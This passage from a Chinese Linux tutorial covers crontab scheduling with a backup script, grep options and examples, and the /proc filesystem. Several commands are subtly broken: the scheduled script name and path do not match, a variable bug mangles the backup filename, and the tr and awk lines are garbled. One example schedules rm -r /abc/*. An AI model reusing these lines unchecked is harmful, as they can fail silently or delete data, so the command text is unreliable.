  11.    <TABLE>  
  12. CLOUD  
  13.   
  14. sed -e 's/:/<\/TD><TD>/g' -e 's/^/<TR><TD>/g' -e 's/$/<\/TD><\/TR>/g'  
  15. #等價於awk 'BEGIN {FS=":";OFS="</TD><TD>"} gsub(/^/,"<TR>&lt;TD>") gsub(/$/,"</TD></TR>") {print $1,$2,$3,$4}'  
  16. cat << CLOUD  
  17.  </TABLE>  
  18.  </BODY>  
  19.  </HTML>  
  20. CLOUD  
(2)crontab定時任務

       crondtab是linux下用來週期性的執行某種任務或等待處理某些事件的一個守護進程,與windows下的計劃任務相似,crondtab進程每分鐘會按期檢查是否有要執行的任務,若是有要執行的任務,則自動執行該任務。

        每一個用戶都有本身的調度crontab,能夠使用crontab -u user -e或切換到user使用vim /etc/crontab(也可crontab -e)編輯crontab定時任務調度表。crontab命令選項意義以下:

      linux還定義了兩個控制文件來控制crontab,它們是:/etc/cron.allow和/etc/cron.deny。/etc/cron.allow表示哪些用戶能使用crontab命令,若cron.allow爲空則代表全部用戶都不能安排定時任務;若該文件不存在則會查看/etc/cron.deny,只有不包含在這個文件中的用戶才能夠使用crontab命令;若cron.deny爲空則任何用戶均可以安排做業。兩個文件同時存在cron.allow優先,同時不存在只有root用戶能安排定時任務。

      打開/etc/crontab:

 

crontab文件的基本格式 :
*         *   *    *       *  command 
minute  hour   day   month   week   command

其中:

 

minute: 表示分鐘,能夠是從0到59之間的任何整數(每分鐘用*或者 */1表示)。

hour:表示小時,能夠是從0到23之間的任何整數(0表示0點)。

day:表示日期,能夠是從1到31之間的任何整數。

month:表示月份,能夠是從1到12之間的任何整數。

week:表示星期幾,能夠是從0到7之間的任何整數,這裏的0或7表明星期日。

command:要執行的命令,能夠是系統命令,也能夠是本身編寫的腳本文件。

 

在以上各個字段中,還能夠使用如下特殊字符:

星號(*):表明全部可能的值,例如month字段若是是星號,則表示在知足其它字段的制約條件後每個月都執行該命令操做。

逗號(,):能夠用逗號隔開的值指定一個列表範圍,例如,「1,2,5,7,8,9」

中槓(-):能夠用整數之間的中槓表示一個整數範圍,例如「2-6」表示「2,3,4,5,6」

正斜線(/):能夠用正斜線指定時間的間隔頻率,例如「0-23/2」表示每兩小時執行一次。同時正斜線能夠和星號一塊兒使用,例如*/10,若是用在minute字段,表示每十分鐘執行一次。

      crontab例子如:下午4:50刪除/abc目錄下全部子目錄和文件:  50 16 * * * rm -r /abc/*

      crontab實現定時文件備份的例子,shell腳本實現備份功能,在crontab中定時天天執行腳本。腳本名稱爲fileback.sh.

[cpp] view plain copy
 
 
  1. #使用root權限將/etc目錄下的全部內容進行備份  
  2. #fileback.sh  
  3. #!/bin/bash  
  4.   
  5. DIRNAME=`ls /root | grep bak`       #獲取/root/bak字符串  
  6.   
  7. if [ -z "$DIRNAME" ]                #若是/root/bak不存在,則建立一個  
  8. then  
  9. mkdir /root/bak  
  10. cd /root/bak  
  11. fi  
  12.   
  13. #獲取當前年、月、日數據存儲到YY、MM、DD變量中  
  14. YY=`date +%y`  
  15. MM=`date +%m`  
  16. DD=`date +%d`  
  17.   
  18. BACKETC=$YY$MM$DD_etc.tar.gz        #備份文件的名字  
  19. tar zcvf $BACKETC /etc              #將/etc全部文件打包  
  20. echo "fileback finished!"  
      先登陸root用戶,cat /etc/crontab,在末尾加上:59 23 * * * /bin/bash /use/bin/filebach.sh,表示天天23:59執行一次filebach.sh腳本。

3、總結

(1)Shell腳本調試難度大,熟練使用trap、tee、調試鉤子和shell選項將更方便地調試錯誤。

(2)Shell下有顏色的腳本和腳本安全的內容仍是比較有趣的,讀者能夠網上搜索更多的內容來補充。

(3)crontab定時任務對於Shell腳本的定時計劃性執行仍是很是有用的。

Linux經常使用指令---grep(搜索過濾)

 

Linux系統中grep命令是一種強大的文本搜索工具,它能使用正則表達式搜索文本,並把匹 配的行打印出來。grep全稱是Global Regular Expression Print,表示全局正則表達式版本,它的使用權限是全部用戶。

grep的工做方式是這樣的,它在一個或多個文件中搜索字符串模板。若是模板包括空格,則必須被引用,模板後的全部字符串被看做文件名。搜索的結果被送到標準輸出,不影響原文件內容。

grep可用於shell腳本,由於grep經過返回一個狀態值來講明搜索的狀態,若是模板搜索成功,則返回0,若是搜索不成功,則返回1,若是搜索的文件不存在,則返回2。咱們利用這些返回值就可進行一些自動化的文本處理工做。

1.命令格式:

grep [option] pattern file

2.命令功能:

用於過濾/搜索的特定字符。可以使用正則表達式能多種命令配合使用,使用上十分靈活。

3.命令參數:

-a   --text   #不要忽略二進制的數據。   

-A<顯示行數>   --after-context=<顯示行數>   #除了顯示符合範本樣式的那一列以外,並顯示該行以後的內容。   

-b   --byte-offset   #在顯示符合樣式的那一行以前,標示出該行第一個字符的編號。   

-B<顯示行數>   --before-context=<顯示行數>   #除了顯示符合樣式的那一行以外,並顯示該行以前的內容。   

-c    --count   #計算符合樣式的列數。   

-C<顯示行數>    --context=<顯示行數>或-<顯示行數>   #除了顯示符合樣式的那一行以外,並顯示該行以前後的內容。   

-d <動做>      --directories=<動做>   #當指定要查找的是目錄而非文件時,必須使用這項參數,不然grep指令將回報信息並中止動做。   

-e<範本樣式>  --regexp=<範本樣式>   #指定字符串作爲查找文件內容的樣式。   

-E      --extended-regexp   #將樣式爲延伸的普通表示法來使用。   

-f<規則文件>  --file=<規則文件>   #指定規則文件,其內容含有一個或多個規則樣式,讓grep查找符合規則條件的文件內容,格式爲每行一個規則樣式。   

-F   --fixed-regexp   #將樣式視爲固定字符串的列表。   

-G   --basic-regexp   #將樣式視爲普通的表示法來使用。   

-h   --no-filename   #在顯示符合樣式的那一行以前,不標示該行所屬的文件名稱。   

-H   --with-filename   #在顯示符合樣式的那一行以前,表示該行所屬的文件名稱。   

-i    --ignore-case   #忽略字符大小寫的差異。   

-l    --file-with-matches   #列出文件內容符合指定的樣式的文件名稱。   

-L   --files-without-match   #列出文件內容不符合指定的樣式的文件名稱。   

-n   --line-number   #在顯示符合樣式的那一行以前,標示出該行的列數編號。   

-q   --quiet或--silent   #不顯示任何信息。   

-r   --recursive   #此參數的效果和指定「-d recurse」參數相同。   

-s   --no-messages   #不顯示錯誤信息。   

-v   --revert-match   #顯示不包含匹配文本的全部行。   

-V   --version   #顯示版本信息。   

-w   --word-regexp   #只顯示全字符合的列。   

-x    --line-regexp   #只顯示全列符合的列。   

-y   #此參數的效果和指定「-i」參數相同。

  

4.規則表達式:

grep的規則表達式:

^  #錨定行的開始 如:'^grep'匹配全部以grep開頭的行。    

$  #錨定行的結束 如:'grep$'匹配全部以grep結尾的行。    

.  #匹配一個非換行符的字符 如:'gr.p'匹配gr後接一個任意字符,而後是p。    

*  #匹配零個或多個先前字符 如:'*grep'匹配全部一個或多個空格後緊跟grep的行。    

.*   #一塊兒用表明任意字符。   

[]   #匹配一個指定範圍內的字符,如'[Gg]rep'匹配Grep和grep。    

[^]  #匹配一個不在指定範圍內的字符,如:'[^A-FH-Z]rep'匹配不包含A-R和T-Z的一個字母開頭,緊跟rep的行。    

\(..\)  #標記匹配字符,如'\(love\)',love被標記爲1。    

\<      #錨定單詞的開始,如:'\<grep'匹配包含以grep開頭的單詞的行。    

\>      #錨定單詞的結束,如'grep\>'匹配包含以grep結尾的單詞的行。    

x\{m\}  #重複字符x,m次,如:'0\{5\}'匹配包含5個o的行。    

x\{m,\}  #重複字符x,至少m次,如:'o\{5,\}'匹配至少有5個o的行。    

x\{m,n\}  #重複字符x,至少m次,很少於n次,如:'o\{5,10\}'匹配5--10個o的行。   

\w    #匹配文字和數字字符,也就是[A-Za-z0-9],如:'G\w*p'匹配以G後跟零個或多個文字或數字字符,而後是p。   

\W    #\w的反置形式,匹配一個或多個非單詞字符,如點號句號等。   

\b    #單詞鎖定符,如: '\bgrep\b'只匹配grep。  

POSIX字符:

爲了在不一樣國家的字符編碼中保持一至,POSIX(The Portable Operating System Interface)增長了特殊的字符類,如[:alnum:]是[A-Za-z0-9]的另外一個寫法。要把它們放到[]號內才能成爲正則表達式,如[A- Za-z0-9]或[[:alnum:]]。在linux下的grep除fgrep外,都支持POSIX的字符類。

[:alnum:]    #文字數字字符   

[:alpha:]    #文字字符   

[:digit:]    #數字字符   

[:graph:]    #非空字符(非空格、控制字符)   

[:lower:]    #小寫字符   

[:cntrl:]    #控制字符   

[:print:]    #非空字符(包括空格)   

[:punct:]    #標點符號   

[:space:]    #全部空白字符(新行,空格,製表符)   

[:upper:]    #大寫字符   

[:xdigit:]   #十六進制數字(0-9,a-f,A-F)  

5.使用實例:

實例1:查找指定進程

命令:

ps -ef|grep svn

輸出:

[root@localhost ~]# ps -ef|grep svn

root 4943   1      0  Dec05 ?   00:00:00 svnserve -d -r /opt/svndata/grape/

root 16867 16838  0 19:53 pts/0    00:00:00 grep svn

[root@localhost ~]#

說明:

第一條記錄是查找出的進程;第二條結果是grep進程自己,並不是真正要找的進程。

實例2:查找指定進程個數

命令:

ps -ef|grep svn -c

ps -ef|grep -c svn

輸出:

[root@localhost ~]# ps -ef|grep svn -c

2

[root@localhost ~]# ps -ef|grep -c svn 

2

[root@localhost ~]#

說明:

實例3:從文件中讀取關鍵詞進行搜索

命令:

cat test.txt | grep -f test2.txt

輸出:

[root@localhost test]# cat test.txt 

hnlinux

peida.cnblogs.com

ubuntu

ubuntu linux

redhat

Redhat

linuxmint

[root@localhost test]# cat test2.txt 

linux

Redhat

[root@localhost test]# cat test.txt | grep -f test2.txt

hnlinux

ubuntu linux

Redhat

linuxmint

[root@localhost test]#

說明:

輸出test.txt文件中含有從test2.txt文件中讀取出的關鍵詞的內容行

實例3:從文件中讀取關鍵詞進行搜索 且顯示行號

命令:

cat test.txt | grep -nf test2.txt

輸出:

[root@localhost test]# cat test.txt 

hnlinux

peida.cnblogs.com

ubuntu

ubuntu linux

redhat

Redhat

linuxmint

[root@localhost test]# cat test2.txt 

linux

Redhat

[root@localhost test]# cat test.txt | grep -nf test2.txt

1:hnlinux

4:ubuntu linux

6:Redhat

7:linuxmint

[root@localhost test]#

說明:

輸出test.txt文件中含有從test2.txt文件中讀取出的關鍵詞的內容行,並顯示每一行的行號

實例5:從文件中查找關鍵詞

命令:

grep 'linux' test.txt

輸出:

[root@localhost test]# grep 'linux' test.txt 

hnlinux

ubuntu linux

linuxmint

[root@localhost test]# grep -n 'linux' test.txt 

1:hnlinux

4:ubuntu linux

7:linuxmint

[root@localhost test]#

說明:

實例6:從多個文件中查找關鍵詞

命令:

grep 'linux' test.txt test2.txt

輸出:

[root@localhost test]# grep -n 'linux' test.txt test2.txt 

test.txt:1:hnlinux

test.txt:4:ubuntu linux

test.txt:7:linuxmint

test2.txt:1:linux

[root@localhost test]# grep 'linux' test.txt test2.txt 

test.txt:hnlinux

test.txt:ubuntu linux

test.txt:linuxmint

test2.txt:linux

[root@localhost test]#

說明:

多文件時,輸出查詢到的信息內容行時,會把文件的命名在行最前面輸出而且加上":"做爲標示符

實例7:grep不顯示自己進程

命令:

ps aux|grep \[s]sh

ps aux | grep ssh | grep -v "grep"

輸出:

[root@localhost test]# ps aux|grep ssh

root   2720  0.0  0.0  62656  1212 ?      Ss   Nov02   0:00 /usr/sbin/sshd

root  16834  0.0  0.0  88088  3288 ?      Ss   19:53   0:00 sshd: root@pts/0 

root  16901  0.0  0.0  61180   764 pts/0  S+   20:31   0:00 grep ssh

[root@localhost test]# ps aux|grep \[s]sh]

[root@localhost test]# ps aux|grep \[s]sh

root   2720  0.0  0.0  62656  1212 ?      Ss   Nov02   0:00 /usr/sbin/sshd

root  16834  0.0  0.0  88088  3288 ?      Ss   19:53   0:00 sshd: root@pts/0 

[root@localhost test]# ps aux | grep ssh | grep -v "grep"

root   2720  0.0  0.0  62656  1212 ?      Ss   Nov02   0:00 /usr/sbin/sshd

root  16834  0.0  0.0  88088  3288 ?      Ss   19:53   0:00 sshd: root@pts/0

說明:

實例8:找出已u開頭的行內容

命令:

cat test.txt |grep ^u

輸出:

[root@localhost test]# cat test.txt |grep ^u

ubuntu

ubuntu linux

[root@localhost test]#

說明:

實例9:輸出非u開頭的行內容

命令:

cat test.txt |grep ^[^u]

輸出:

[root@localhost test]# cat test.txt |grep ^[^u]

hnlinux

peida.cnblogs.com

redhat

Redhat

linuxmint

[root@localhost test]#

說明:

實例10:輸出以hat結尾的行內容

命令:

cat test.txt |grep hat$

輸出:

[root@localhost test]# cat test.txt |grep hat$

redhat

Redhat

[root@localhost test]#

說明:

實例11:輸出ip地址

命令:

     ifconfig eth0|grep -E "([0-9]{1,3}\.){3}[0-9]"

輸出:

[root@localhost test]# ifconfig eth0|grep "[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}"

          inet addr:192.168.120.204  Bcast:192.168.120.255  Mask:255.255.255.0

[root@localhost test]# ifconfig eth0|grep -E "([0-9]{1,3}\.){3}[0-9]"

          inet addr:192.168.120.204  Bcast:192.168.120.255  Mask:255.255.255.0

[root@localhost test]#

說明:

實例12:顯示包含ed或者at字符的內容行

命令:

cat test.txt |grep -E "ed|at"

輸出:

[root@localhost test]# cat test.txt |grep -E "peida|com"

peida.cnblogs.com

[root@localhost test]# cat test.txt |grep -E "ed|at"

redhat

Redhat

[root@localhost test]#

說明:

實例13:顯示當前目錄下面以.txt 結尾的文件中的全部包含每一個字符串至少有7個連續小寫字符的字符串的行

命令:

grep '[a-z]\{7\}' *.txt

輸出:

[root@localhost test]# grep '[a-z]\{7\}' *.txt

test.txt:hnlinux

test.txt:peida.cnblogs.com

test.txt:linuxmint

[root@localhost test]#

 

實例14:日誌文件過大,很差查看,咱們要從中查看本身想要的內容,或者獲得同一類數據,好比說沒有404日誌信息的

命令:

grep '.' access1.log|grep -Ev '404' > access2.log

grep '.' access1.log|grep -Ev '(404|/photo/|/css/)' > access2.log

grep '.' access1.log|grep -E '404' > access2.log

輸出:

[root@localhost test]# grep 「.」access1.log|grep -Ev 「404」 > access2.log

說明:上面3句命令前面兩句是在當前目錄下對access1.log文件進行查找,找到那些不包含404的行,把它們放到access2.log中,後面去掉’v’,便是把有404的行放入access2.log

 

Linux下 /proc文件夾內容解析(/proc文件系統解析)

/proc 裏的大多數文件都是隻讀的, 但也能夠經過寫一些文件來改變內核變量.

下面對整個 /proc 目錄做一個大略的介紹.

[number]
在 /proc 目錄裏, 每一個正在運行的進程都有一個以該進程 ID 命名的子目錄, 其下包括以下的目錄和僞文件:
[number] /cmdline
該文件保存了進程的完整命令行. 若是該進程已經被交換出內存, 或者該進程已經僵死, 那麼就沒有任何東西在該文件裏, 這時候對該文件的讀操做將返回零個字符. 該文件以空字符 null 而不是換行符做爲結束標誌.
[number] /cwd
一個符號鏈接, 指向進程當前的工做目錄. 例如, 要找出進程 20 的 cwd, 你能夠:
cd /proc/20/cwd; /bin/pwd
請注意 pwd 命令一般是 shell 內置的, 在這樣的狀況下可能工做得不是很好(casper 注: pwd 只能顯示 /proc/20/cwd, 要是想知道它的工做目錄,直接ls -al /proc/20不就行了).
[number] /environ
該文件保存進程的環境變量, 各項之間以空字符分隔, 結尾也多是一個空字符. 所以, 若是要輸出進程 1 的環境變量, 你應該:
(cat /proc/1/environ; echo) | tr ";\000"; ";\n";
(至於爲何想要這麼作, 請參閱 lilo(8).)
[number] /exe
也是一個符號鏈接, 指向被執行的二進制代碼. 在 Linux 2.0 或者更早的版本下, 對 exe 特殊文件的 readlink(2) 返回一個以下格式的字符串: [設備號]:節點號
舉個例子, [0301]:1502 就是某設備的 1502 節點, 該設備的主設備號爲 03 (如 IDE, MFM 等驅動器), 從設備號爲 01 (第一個驅動器的第一分區). 而在 Linux2.2 下, readlink(2) 則給出命令的實際路徑名. 另外, 該符號鏈接也能夠正常析引用(試圖打開 exe 文件實際上將打開一個可執行文件). 你甚至能夠鍵入 /proc/[number]/exe 來運行 [number] 進程的副本. 帶 -inum 選項的 find(1) 命令能夠定位該文件.
[number] /fd
進程所打開的每一個文件都有一個符號鏈接在該子目錄裏, 以文件描述符命名, 這個名字其實是指向真正的文件的符號鏈接,(和 exe 記錄同樣).例如, 0 是標準輸入, 1 是標準輸出, 2 是標準錯誤, 等等. 程序有時可能想要讀取一個文件卻不想要標準輸入,或者想寫到一個文件卻不想將輸出送到標準輸出去,那麼就能夠頗有效地用以下的辦法騙過(假定 -i 是輸入文件的標誌, 而 -o 是輸出文件的標誌):
foobar -i /proc/self/fd/0 -o /proc/self/fd/1 ...
這樣就是一個能運轉的過濾器. 請注意該方法不能用來在文件裏搜索, 這是由於 fd 目錄裏的文件是不可搜索的. 在 UNIX 類的系統下, /proc/self/fd/N 基本上就與 /dev/fd/N 相同. 實際上, 大多數的 Linux MAKEDEV 腳本都將 /dev/fd 符號鏈接到 [..]/proc/self/fd 上.
[number] /maps
該文件包含當前的映象內存區及他們的訪問許可. 格式以下:
address perms offset dev inode

00000000-0002f000 r-x-- 00000400 03:03 1401       (只讀的代碼段)

0002f000-00032000 rwx-p 0002f400 03:03 1401      (可讀寫的數據段)

00032000-0005b000 rwx-p 00000000 00:00 0         (堆)

60000000-60098000 rwx-p 00000400 03:03 215       (庫的只讀代碼段)

60098000-600c7000 rwx-p 00000000 00:00 0

bfffa000-c0000000 rwx-p 00000000 00:00 0

address 是進程所佔據的地址空間, perms 是權限集:
r = read
w = write
x = execute
s = shared
p = private (copy on write)
offset 是文件或者別的什麼的偏移量, dev 是設備號(主設備號:從設備號), 而 inode 則是設備的節點號. 0 代表沒有節點與內存相對應, 就象 bss 的情形.
在 Linux 2.2 下還增長了一個域給可用的路徑名,如/bin/busybox.

mem
該文件並非 mem (1:1) 設備, 儘管它們有相同的設備號. /dev/mem 設備是作任何地址轉換以前的物理內存, 而這裏的 mem 文件是訪問它的進程的內存.目前這個 mem 還不能 mmap(2) (內存映射)出去,並且可能一直要等到內核中增長了一個通用的 mmap(2) 之後才能實現. (也許在你讀本手冊頁時這一切已經發生了)

mmap
mmap(2) 作的 maps 映射目錄,是和 exe, fd/* 等相似的符號鏈接. 請注意 maps 包含了比 /proc/*/mmap 更多的信息, 因此應該廢棄 mmap. ";0"; 一般指 libc.so.4. 在 linux 內核 1.1.40 裏, /proc/*/mmap 被取消了. (如今是真的 廢棄不用了!)

root
依靠系統調用 chroot(2), unix 和 linux 可讓每一個進程有各自的文件系統根目錄. 由 chroot(2) 系統調用設置.根指向文件系統的根,性質就象 exe, fd/* 等同樣.
 
stat 
進程狀態信息, 被命令 ps(1) 使用. 
現將該文件裏各域, 及他們的 scanf(3) 格式說明符, 按順序分述以下: 
pid %d 進程標識. 
comm %s 可執行文件的文件名, 包括路徑. 該文件是否可見取決於該文件是否已被交換出內存. 
state %c ";RSDZT"; 中的一個, R 是正在運行, S 是在可中斷的就緒態中睡眠, D 是在不可中斷的等待或交換態中睡眠, Z 是僵死, T 是被跟蹤或被中止(因爲收到信號). 
ppid %d 父進程 PID. 
pgrp %d 進程的進程組 ID. 
session %d 進程的會話 ID. 
tty %d 進程所使用終端. 
tpgid %d 當前擁有該進程所鏈接終端的進程所在的進程組 ID. 
flags %u 進程標誌. 目前每一個標誌都設了數學位, 因此輸出裏就不包括該位. crt0.s 檢查數學仿真這多是個臭蟲, 由於不是每一個進程都是用 c 編譯的程式. 數學位應該是十進制的 4, 而跟蹤位應該是十進制的 10. 
minflt %u 進程所致使的小錯誤(minor faults)數目, 這樣的小錯誤(minor faults)沒必要從磁盤從新載入一個內存頁. 
cminflt %u 進程及其子進程所致使的小錯誤(minor faults)數目. 
majflt %u 進程所致使的大錯誤(major faults)數目, 這樣的大錯誤(major faults)須要從新載入內存頁. 
cmajflt %u 進程及其子進程所致使的大錯誤(major faults)數目. 
utime %d 進程被調度進用戶態的時間(以 jiffy 爲單位, 1 jiffy=1/100 秒,另外不一樣硬件體系略有不一樣). 
stime %d 進程被調度進內核態的時間, 以 jiffy 爲單位. 
cutime %d 進程及其子進程被調度進用戶態的時間, 以 jiffy 爲單位. 
cstime %d 進程及其子進程被調度進內核態的時間, 以 jiffy 爲單位. 
counter %d 若是進程不是當前正在運行的進程, 就是進程在下個時間片當前能擁有的最大時間, 以 jiffy 爲單位. 若是進程是當前正在運行的進程, 就是當前時間片中所剩下 jiffy 數目. 
priority %d 標準優先數只再加上 15, 在內核裏該值老是正的. 
timeout %u 當前至進程的下一次間歇時間, 以 jiffy 爲單位. 
itrealvalue %u 因爲計時間隔致使的下一個 SIGALRM 發送進程的時延,以 jiffy 爲單位. 
starttime %d 進程自系統啓動以來的開始時間, 以 jiffy 爲單位. 
vsize %u 虛擬內存大小. 
rss %u Resident Set Size(駐留大小): 進程所佔用的真實內存大小, 以頁爲單位, 爲便於管理而減去了 3. rss 只包括正文, 數據及堆棧的空間, 但不包括還沒有需求裝入內存的或已被交換出去的. 
rlim %u 當前進程的 rss 限制, 以字節爲單位, 一般爲 2,147,483,647. 
startcode %u 正文部分地址下限. 
endcode %u 正文部分地址上限. 
startstack %u 堆棧開始地址. 
kstkesp %u esp(32 位堆棧指針) 的當前值, 和在進程的內核堆棧頁獲得的一致. 
kstkeip %u EIP(32 位指令指針)的當前值. 
signal %d 待處理信號的 bitmap(一般爲 0). 
blocked %d 被阻塞信號的 bitmap(對 shell 一般是 0, 2). 
sigignore %d 被忽略信號的 bitmap. 
sigcatch %d 被俘獲信號的 bitmap. 
wchan %u 進程在其中等待的通道, 實際是個系統調用的地址. 若是你須要文本格式的, 也能在名字列表中找到. (若是有最新版本的 /etc/psdatabase, 你能在  ps -l 的結果中的 WCHAN 域看到)

cpuinfo
保存了CPU 及體系架構依賴條目的列表. 對於不一樣的系統架構有不一樣的列表, 共有的兩項是 cpu 和 BogoMIPS, cpu 多是當前在用的 CPU, 而 BogoMIPS 則是內核初始化時計算出的一個系統常數.

devices 
主設備號及設備組的列表, 文本格式. MAKEDEV 腳本使用該文件來維持內核的一致性.

dma 
一個列表, 指出正在使用的 ISA DMA (直接內存訪問)通道.

filesystems 
以文本格式列出了被編譯進內核的文件系統. 當沒有給 mount(1) 指明哪一個文件系統的時候, mount(1) 就依靠該文件遍歷不一樣的文件系統.

interrupts 
該文件以 ASCII 格式記錄了(至少是在 i386 體系上的)每次 IRQ 的中斷數目.

ioports 
該文件列出了當前在用的已註冊 I/O 端口範圍.

kcore 
該僞文件以 core 文件格式給出了系統的物理內存映象, 再利用未卸載的內核 (/usr/src/linux/tools/zSystem), 咱們就能用 GDB 查探當前內核的任意數據結構. 
該文件的總長度是物理內存 (RAM) 的大小再加上 4KB.

kmsg 
能用該文件取代系統調用 syslog(2) 來記錄內核信息. 不過讀該文件須要終極用戶權限, 而且一次只能有一個進程能讀該文件, 於是若是一個使用了 syslog(2) 系統調用功能來記錄內核信息的系統日誌進程正在運行的話, 別的進程就不能再去讀該僞文件了. 
該文件的內容能用 dmesg(8) 來察看.

ksyms 
該文件保存了內核輸出的符號定義, modules(X) 使用該文件動態地鏈接和捆綁可裝載的模塊.

loadavg 
平均負載數給出了在過去的 1, 5, 15 分鐘裏在運行隊列裏的任務數, 和 uptime(1) 等命令的結果相同.

locks 
這個文件顯示當前文件鎖.

malloc 
只有在編譯時定義了 CONFIGDEBUGMALLOC 纔會有該文件.

meminfo 
free(1) 利用該文件來給出系統總的空閒內存和已用內存 (包括物理內存和交換內存), 及內核所使用的共享內存和緩衝區. 
該文件和 free(1) 格式相同, 不過以字節爲單位而不是 KB.

modules 
列出了系統已載入的模塊, 文本格式.

net 
該子目錄包括多個 ASCII 格式的網絡僞文件, 描述了網絡層的部分狀況. 能用 cat 來察看這些文件, 但標準的 netstat(8) 命令組更清晰地給出了這些文件的信息.

arp 
該文件以 ASCII 格式保存了內核 ARP 表, 用於地址解析, 包括靜態和動態 arp 數據. 文件格式以下: IP address       HW type     Flags       HW address
10.11.100.129    0x1         0x6         00:20:8A:00:0C:5A
10.11.100.5      0x1         0x2         00:C0:EA:00:00:4E
44.131.10.6      0x3         0x2         GW4PTS
其中 ’IP address’ 是機器的 IPv4 地址; ’HW type’ 是地址的硬件類型, 遵循 RFC 826; flags 是 ARP 結構的內部標誌, 在 /usr/include/linux/if_arp.h 中定義; ’HW address’ 是該 IP 地址的物理層映射(若是知道的話).

dev 
該僞文件包含網絡設備狀態信息, 給出了發送和收到的包的數目, 錯誤和衝突的數目, 及別的一些基本統計數據. ifconfig(8) 利用了該文件來報告網絡設備狀態. 文件格式以下: Inter-|Receive|Transmit face|packets errs drop fifo frame|packets errs drop fifo colls carrier
lo:      0    0    0    0    0     2353    0    0    0     0    0
eth0: 644324    1    0    0    1   563770    0    0    0   581    0

ipx 
無信息. 
ipx_route 
無信息.

rarp 
該文件具備和 arp 一樣的格式, 包含當前的逆向地址映射數據. rarp(8) 利用這些數據來做逆向地址查詢服務. 只有將 RARP 設置進內核, 該文件才存在.

raw 
該文件保存了 RAW 套接字表, 大部分信息除用於調試之外沒有什麼用. 包括本地地址和協議號對; "St" 是套接字的內部狀態; tx_queue 和 rx_queue 是內核存儲器使用意義上的輸入輸出數據隊列; RAW 沒有使用"tr", "tm->when" 和 "rexmits"; uid 是套接字建立者的有效 uid.

route 
沒有信息, 不過看上去相似於 route(8)

snmp 
該文件以 ASCII 格式保存了 IP, ICMP, TCP 及 UDP 管理所需的數據信息, 基於 snmp 協議. TCP mib (TCP 管理數據庫)還沒有完善, 可能在 1.2.0 內核可以完成.
tcp 
該文件保存了 TCP 套接字表, 大部分信息除用於調試之外沒有什麼用. "sl" 指出了套接字的內核散列槽號; "local address" 包括本地地址和端口號; "remote address" 包括遠地地址和端口號(若是有鏈接的話); ’St’ 是套接字的內部狀態; ’tx_queue’ 和 ’rx_queue’ 是內核存儲器使用意義上的輸入輸出數據隊列; "tr", "tm->when" 和 "rexmits" 保存了內核套接字聲明的內部信息, 只用於調試; uid 是套接字建立者的有效 uid. 
udp 
該文件保存了 UDP 套接字表, 大部分信息除用於調試之外沒有什麼用. "sl" 指出了套接字的內核散列槽號; "local address" 包括本地地址和端口號; "remote address" 包括遠地地址和端口號(若是有鏈接的話); "St" 是套接字的內部狀態; "tx_queue" 和 "rx_queue" 是內核存儲器使用意義上的輸入輸出數據隊列; UDP 沒有使用 "tr","tm->when" 和 "rexmits"; uid 是套接字建立者的有效 uid. 格式以下: sl  local_address rem_address   st tx_queue rx_queue tr rexmits  tm->when uid
1: 01642C89:0201 0C642C89:03FF 01 00000000:00000001 01:000071BA 00000000 0
1: 00000000:0801 00000000:0000 0A 00000000:00000000 00:00000000 6F000100 0
1: 00000000:0201 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0
unix 
列出了當前系統的UNIX域套接字及他們的狀態, 格式以下: Num RefCount Protocol Flags    Type St Path
0: 00000002 00000000 00000000 0001 03
1: 00000001 00000000 00010000 0001 01 /dev/printer
當前老是 0; ’Flags’ 是內核標誌, 指出了套接字的狀態; ’Type’ 當前老是 1(在內核中還沒有支持 unix 域數據報套接字); ’St’ 是套接字內部狀態; ’Path’ 套接字綁捆的路徑(若是有的話). 
pci 
該文件列出了內核初始化時發現的全部 PCI 設備及其設置. 
scsi 
該目錄包括 scsi 中間層僞文件及各類 SCSI 底層驅動器子目錄, 對系統中每一個 SCSI host, 子目錄中都存在一個文件和之對應, 展現了部分 SCSI IO 子系統的狀態. 這些文件是 ASCII 格式的, 可用cat閱讀. 
你也能經過寫其中某些文件來從新設置該子系統, 開關一些功能. 
scsi
該文件列出了內核掌控的全部 SCSI 設備, 其內容就和系統啓動時所看到的相似. 目前 scsi 只支持 singledevice命令, 該命令容許 root 添加一個熱插拔(hotplugged)設備到一個已知設備列表中. 
命令 echo ’scsi singledevice 1 0 5 0’ > /proc/scsi/scsi 令 host scsi1 掃描 SCSI 通道 0, 看在 ID 5 LUN 0 是否存在設備, 若是在該地址存在設備, 或該地址無效, 則返回一個錯誤. 
drivername 
目前  drivername 可包含: NCR53c7xx, aha152x, aha1542, aha1740, aic7xxx, buslogic, eata_dma, eata_pio, fdomain, in2000, pas16, qlogic, scsi_debug, seagate, t128, u15-24f, ultrastore 或 wd7000. 這些目錄展現那些至少註冊了一個 SCSI HBA 的驅動. 而對每一個已註冊的 host, 每一個目錄中都包含一個文件和之對應, 而這些對應的 host 文件就以初始化時分配給 host 的數字來命名. 
這些文件給出了驅動程式及設備的設置, 統計數據等. 
能經過寫這些文件實現不一樣的 host 上作不一樣的工做. 例如, root 能用 latency 和 nolatency 命令打開或關閉 eata_dma 驅動器上測量延時的代碼, 也能用 lockup 和 unlock 命令控制 scsi_debug 驅動器所模擬的總線鎖操做.
 
self 
當某進程訪問 /proc 目錄時, 該目錄就指向 /proc 下以該進程 ID 命名的目錄. 
stat 
內核及系統的統計數據. 
cpu 3357 0 4313 1362393 
系統分別消耗在用戶模式, 低優先權的用戶模式(nice), 系統模式, 及空閒任務的時間, 以 jiffy 爲單位. 最後一個數值應該是 uptime 僞文件第二個數值的 100 倍. 
disk 0 0 0 0 
目前並無實現這四個磁盤記錄, 我甚至認爲就不該該實現他,這是因爲在別的機器上內核統計一般依賴轉換率及每秒 I/O 數, 而這令每一個驅動器只能有一個域. 
page 5741 1808 
系統(從磁盤)交換進的頁數和交換出去的頁數. 
swap 1 0 
取入的交換頁及被取出的交換頁的頁數. 
intr 1462898 
系統自啓動以來所收到的中斷數. 
ctxt 115315 
系統所做的進程環境轉換次數. 
btime 769041601 
系統自 1970 年 1 月 1 號以來總的運行時間, 以秒爲單位.

sys 
該目錄在 1.3.57 的內核裏開始出現, 包含一些對應於內核變量的文件和子目錄. 你能讀這些變量, 有的也能經過 proc修改, 或用系統調用  sysctl(2) 修改. 目前該目錄下有以下三個子目錄:  kernel;, ; net;, ; vm 每一個各自包括一些文件和子目錄. 
kernel 
